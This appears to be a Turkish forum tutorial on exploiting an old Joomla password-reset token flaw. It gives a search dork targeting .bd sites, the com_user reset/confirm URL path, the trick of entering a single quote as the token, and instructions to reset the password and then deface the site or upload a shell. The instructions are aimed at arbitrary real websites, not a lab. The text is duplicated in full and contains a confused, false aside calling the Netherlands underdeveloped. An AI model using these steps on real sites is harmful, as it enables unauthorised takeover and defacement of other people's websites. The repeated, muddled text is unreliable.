Selamın aleyküm arkadaşlar bugün sizlerle token açığını konuşcaz eski bir açıktır şansınıza-
Bu açık da eski bir güvenlik açık türüdür bu yüzden site araması yapılırken genelde gelişmemiş ülkeler (Mesela hollanda) üzerinden yapılır. İlk önce arama motoruna yazmamız gereken bir dork var.-
dorkumuz=-
/index.php?&option=com site:bd-
ve önümüze bir site çıktı sitenin /index.php?option=com_content&view=category&id=41&l ayout=blog&Itemid=51-
siliyoruz ve kodu yapıştırıyoruz-
/index.php?&option=com_user&view=reset&layout=confi rm-
Eğer sitemizde Token Açığı varsa "Token:" bölümü çıkacaktır. Eğer hata alırsanız gibi bir bölüm çıkmazsa sitede Token Açığı yoktur, başka bir site denemelisiniz. Token var ise şu şekilde yapıyoruz şifre yenileme geliyor ve şifreyi yeniliyoruz böylece siteye index olsun shell olsun basabiliriz eğer çıkarsa ( ' ) yapaıştırıyoruz-
Bu açık da eski bir güvenlik açık türüdür bu yüzden site araması yapılırken genelde gelişmemiş ülkeler (Mesela hollanda) üzerinden yapılır. İlk önce arama motoruna yazmamız gereken bir dork var.-
dorkumuz=-
/index.php?&option=com site:bd-
ve önümüze bir site çıktı sitenin /index.php?option=com_content&view=category&id=41&l ayout=blog&Itemid=51-
siliyoruz ve kodu yapıştırıyoruz-
/index.php?&option=com_user&view=reset&layout=confi rm-
Eğer sitemizde Token Açığı varsa "Token:" bölümü çıkacaktır. Eğer hata alırsanız gibi bir bölüm çıkmazsa sitede Token Açığı yoktur, başka bir site denemelisiniz. Token var ise şu şekilde yapıyoruz şifre yenileme geliyor ve şifreyi yeniliyoruz böylece siteye index olsun shell olsun basabiliriz eğer çıkarsa ( ' ) yapaıştırıyoruz-
